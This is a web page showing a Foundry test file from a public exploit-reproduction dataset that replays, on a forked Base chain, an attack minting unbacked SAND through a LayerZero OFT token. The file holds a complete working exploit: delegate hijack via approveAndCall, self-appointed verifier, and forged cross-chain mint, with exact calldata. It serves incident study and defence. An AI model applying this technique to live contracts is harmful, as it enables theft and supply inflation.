Public reproduction file
src/test/2026-08/SandboxOFT_exp.sol
Public reproduction file for dataset entry SandboxOFT.
Code
Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.
1// SPDX-License-Identifier: MIT2pragma solidity ^0.8.20;4import "forge-std/Test.sol";6// The Sandbox (SAND) — LayerZero OFT deployment on Base7// Unbacked SAND minted out of thin air. One representative tx of a still-ongoing campaign that had8// minted ~$49B face value across 400+ txs at report time. This PoC reproduces ONE tx faithfully.9//10// Exploit tx : 0x76ed03844ff61520a0fb99278f92f2f1453b24ccbacd20b91131703e4a56a446 (Base block 50289412)11// Attacker EOA : 0x638Ccb18370eE228378a565c1d4D0F9620d7F296 (tx.origin, mint recipient; nonce 72)12// Attack ctrt : 0xd7Cb71EE00a812FC22ACcfE08A2f59A5Add2f6Ca (CREATE'd this tx; becomes delegate + DVN)13// Victim token : 0xac531Eb26Ca1d21b85126De8FB87E80E09002DcF (OFTSand, the SAND OFT)14// EndpointV2 : 0x1a44076050125825900e736c501f859c50fE728c15// ReceiveUln302: 0xc70AB6f32772f59fBfc23889Caf4Ba3376C84bAf16// Mint this tx : 10,000,000 SAND (1e25, amountSD 1e13 * decimalConversionRate 1e12)17//18// Root cause (permissionless code defect, verified against the on-chain trace; NO key/admin19// compromise — every call below is reachable by any caller):20//21// OFTSand.approveAndCall(target, amount, data) is an ERC677-style helper that does22// target.call{value: msg.value}(data)23// with msg.sender == the token itself. Its ONLY guard is24// doFirstParamEqualsAddress(data, _msgSender())25// i.e. the first 32-byte word of `data` must equal the caller. That guard is meant to stop26// spending someone else's approval, but it does nothing to constrain WHICH function the token27// is made to call. So it is a generic "call any contract AS the token" primitive.28//29// The token is the OApp registered in the LayerZero EndpointV2. Attacker calls30// approveAndCall(Endpoint, 0, setDelegate(attacker))31// The first param of setDelegate(address) is `attacker` == caller, so the guard passes, and the32// token executes Endpoint.setDelegate(attacker) with msg.sender == token, hijacking the OApp's33// LayerZero delegate role (normally only settable by the token's onlyOwner setDelegate()).34//35// As delegate the attacker reconfigures the OApp's receive stack:36// 1. Endpoint.setConfig(OFTSand, ReceiveUln302, UlnConfig{requiredDVNs:[attacker]}) — makes the37// attacker's own contract the sole required DVN for inbound packets from srcEid 30101.38// 2. ReceiveUln302.verify(header, payloadHash, 1) as that DVN — self-attests a forged inbound39// packet (peer[30101] == the OFT's own address, since SAND OFT is deployed at the same40// address on Ethereum and Base, so the sender field passes the OApp peer check).41// 3. ReceiveUln302.commitVerification(header, payloadHash) — commits it to the Endpoint.42// 4. Endpoint.lzReceive(origin, OFTSand, guid, message, "") — delivers the forged packet;43// OFTSand._credit does a bare _mint(to, amountLD). Unbacked SAND appears.44//45// Calldata below is the exact on-chain calldata. The delegate/DVN address is the real attack46// contract 0xd7Cb71...; we prank as that address for the calls that require it, and as the47// attacker EOA for tx.origin, matching the real trace exactly.49struct Origin {50 uint32 srcEid;51 bytes32 sender;52 uint64 nonce;53}55struct SetConfigParam {56 uint32 eid;57 uint32 configType;58 bytes config;59}61interface IOFTSand {62 function approveAndCall(address target, uint256 amount, bytes calldata data) external payable returns (bytes memory);63 function balanceOf(address) external view returns (uint256);64 function totalSupply() external view returns (uint256);65 function decimalConversionRate() external view returns (uint256);66}68interface IEndpointV2 {69 function setConfig(address oapp, address lib, SetConfigParam[] calldata params) external;70 function lzReceive(71 Origin calldata origin,72 address receiver,73 bytes32 guid,74 bytes calldata message,75 bytes calldata extraData76 ) external payable;77 function delegates(address) external view returns (address);78}80interface IReceiveUln302 {81 function verify(bytes calldata packetHeader, bytes32 payloadHash, uint64 confirmations) external;82 function commitVerification(bytes calldata packetHeader, bytes32 payloadHash) external;83}85contract SandboxOFT_exp is Test {86 IOFTSand internal constant SAND = IOFTSand(0xac531Eb26Ca1d21b85126De8FB87E80E09002DcF);87 IEndpointV2 internal constant ENDPOINT = IEndpointV2(0x1a44076050125825900e736c501f859c50fE728c);88 IReceiveUln302 internal constant RECEIVE_ULN = IReceiveUln302(0xc70AB6f32772f59fBfc23889Caf4Ba3376C84bAf);90 address internal constant ATTACKER_EOA = 0x638Ccb18370eE228378a565c1d4D0F9620d7F296; // tx.origin + mint recipient91 address internal constant ATTACK_CTRT = 0xd7Cb71EE00a812FC22ACcfE08A2f59A5Add2f6Ca; // delegate + DVN + msg.sender93 uint32 internal constant SRC_EID = 30101; // Ethereum mainnet LZ eid (forged source)94 uint64 internal constant NONCE = 455;95 bytes32 internal constant SENDER = 0x000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf;96 bytes32 internal constant GUID = 0x41e1696e58458feb3b1ceaec165f0e716a748343cd930ecbfd9e7fea97ddf821;97 bytes32 internal constant PAYLOAD_HASH = 0xe9858d4b29aa90b5ce5a637d3003273fc71a83a423bdbf5319235f2520f75403;99 // 81-byte packet header: version|nonce|srcEid|sender|dstEid|receiver100 bytes internal constant HEADER =101 hex"0100000000000001c700007595000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf000075e8000000000000000000000000ac531eb26ca1d21b85126de8fb87e80e09002dcf";103 // OFT message: 32-byte toAddress (attacker EOA) + 6-byte amountSD (0x09184e72a000 = 1e13)104 bytes internal constant MESSAGE =105 hex"000000000000000000000000638ccb18370ee228378a565c1d4d0f9620d7f296000009184e72a000";107 // setDelegate(0xd7Cb71...) — first param == caller so approveAndCall's guard passes.108 // (trailing zero word is exactly as on-chain; ignored by a 1-arg decode.)109 bytes internal constant SET_DELEGATE_DATA =110 hex"ca5eb5e1000000000000000000000000d7cb71ee00a812fc22accfe08a2f59a5add2f6ca0000000000000000000000000000000000000000000000000000000000000000";112 // abi.encode(UlnConfig{confirmations:1, requiredDVNCount:1, optional 0/0, requiredDVNs:[0xd7Cb71...], optionalDVNs:[]})113 bytes internal constant ULN_CONFIG =114 hex"0000000000000000000000000000000000000000000000000000000000000020000000000000000000000000000000000000000000000000000000000000000100000000000000000000000000000000000000000000000000000000000000010000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000000000000000000000000000000000000000000000000000000000000001000000000000000000000000000000000000000000000000000000000000000001000000000000000000000000d7cb71ee00a812fc22accfe08a2f59a5add2f6ca0000000000000000000000000000000000000000000000000000000000000000";116 function setUp() public {117 // one block before the exploit tx118 vm.createSelectFork("base", 50289411);119 }121 function testExploit() public {122 uint256 balBefore = SAND.balanceOf(ATTACKER_EOA);123 uint256 supplyBefore = SAND.totalSupply();124 emit log_named_decimal_uint("SAND balance of attacker before", balBefore, 18);126 // msg.sender = attack contract (matches trace), tx.origin = attacker EOA127 vm.startPrank(ATTACK_CTRT, ATTACKER_EOA);129 // 1. Hijack the OApp's LayerZero delegate via the arbitrary-call-as-token primitive.130 SAND.approveAndCall(address(ENDPOINT), 0, SET_DELEGATE_DATA);131 assertEq(ENDPOINT.delegates(address(SAND)), ATTACK_CTRT, "delegate not hijacked");133 // 2. As delegate, set the attacker's own contract as the sole required DVN.134 SetConfigParam[] memory params = new SetConfigParam[](1);135 params[0] = SetConfigParam({eid: SRC_EID, configType: 2, config: ULN_CONFIG});136 ENDPOINT.setConfig(address(SAND), address(RECEIVE_ULN), params);138 // 3. As that DVN, self-attest a forged inbound packet, then commit it to the Endpoint.139 RECEIVE_ULN.verify(HEADER, PAYLOAD_HASH, 1);140 RECEIVE_ULN.commitVerification(HEADER, PAYLOAD_HASH);142 // 4. Deliver the forged packet -> OFTSand._credit -> unbacked _mint.143 Origin memory origin = Origin({srcEid: SRC_EID, sender: SENDER, nonce: NONCE});144 ENDPOINT.lzReceive(origin, address(SAND), GUID, MESSAGE, "");146 vm.stopPrank();148 uint256 balAfter = SAND.balanceOf(ATTACKER_EOA);149 uint256 minted = balAfter - balBefore;150 emit log_named_decimal_uint("SAND balance of attacker after ", balAfter, 18);151 emit log_named_decimal_uint("Unbacked SAND minted ", minted, 18);153 // amountSD 1e13 * decimalConversionRate 1e12 == 1e25 == 10,000,000 SAND154 assertEq(minted, 10_000_000e18, "mint amount mismatch");155 assertEq(SAND.totalSupply() - supplyBefore, minted, "totalSupply not inflated by mint");156 }157}Analysis
Dataset entry
Public Foundry test for “SandboxOFT” (2026-08-22). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.
Related files
14 linkedImports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.
- src/test/2026-08/AIC_exp.solSame month in the dataset · 174 lines
- src/test/2026-08/AjnaFinance_exp.solSame month in the dataset · 157 lines
- src/test/2026-08/AllbridgeCCTP_exp.solSame month in the dataset · 321 lines
- src/test/2026-08/ArrakisGUNI_exp.solSame month in the dataset · 170 lines
- src/test/2026-08/BalancerV1BPool_exp.solSame month in the dataset · 230 lines
- src/test/2026-08/CashCowCoin_exp.solSame month in the dataset · 183 lines
- src/test/2026-08/EnjinCryptoItems_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/FHToken_exp.solSame month in the dataset · 193 lines
- src/test/2026-08/FloatProtocol_exp.solSame month in the dataset · 235 lines
- src/test/2026-08/ReflexerGEB_exp.solSame month in the dataset · 137 lines
- src/test/2026-08/StrongBlock_exp.solSame month in the dataset · 246 lines
- src/test/2026-08/TermFinance_exp.solSame month in the dataset · 250 lines
- src/test/2026-08/UnistreetLaunchpad_exp.solSame month in the dataset · 221 lines
- src/test/2026-08/USM_exp.solSame month in the dataset · 121 lines
Also imports external libraries: forge-std/Test.sol.
Listed in the source file
Listed by the source dataset, not verified by ThreatWire
- Attacker
0x638ccb18370ee228378a565c1d4d0f9620d7f296
- Victim
0xac531eb26ca1d21b85126de8fb87e80e09002dcf
File record
- Name
- SandboxOFT
- Path
- src/test/2026-08/SandboxOFT_exp.sol
- Repository
- SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
- Commit
- 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
- Blob
- c5d3df8b3bd250e8041e7b2bb672c97a469eb71f
- Language
- Solidity
- Size
- 158 lines
- Date
- 2026-08-22
- Licence
- file header MIT; repository Apache-2.0
- Retrieved
- 2026-10-19
Provenance
Path src/test/2026-08/SandboxOFT_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob c5d3df8b3bd250e8041e7b2bb672c97a469eb71f, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.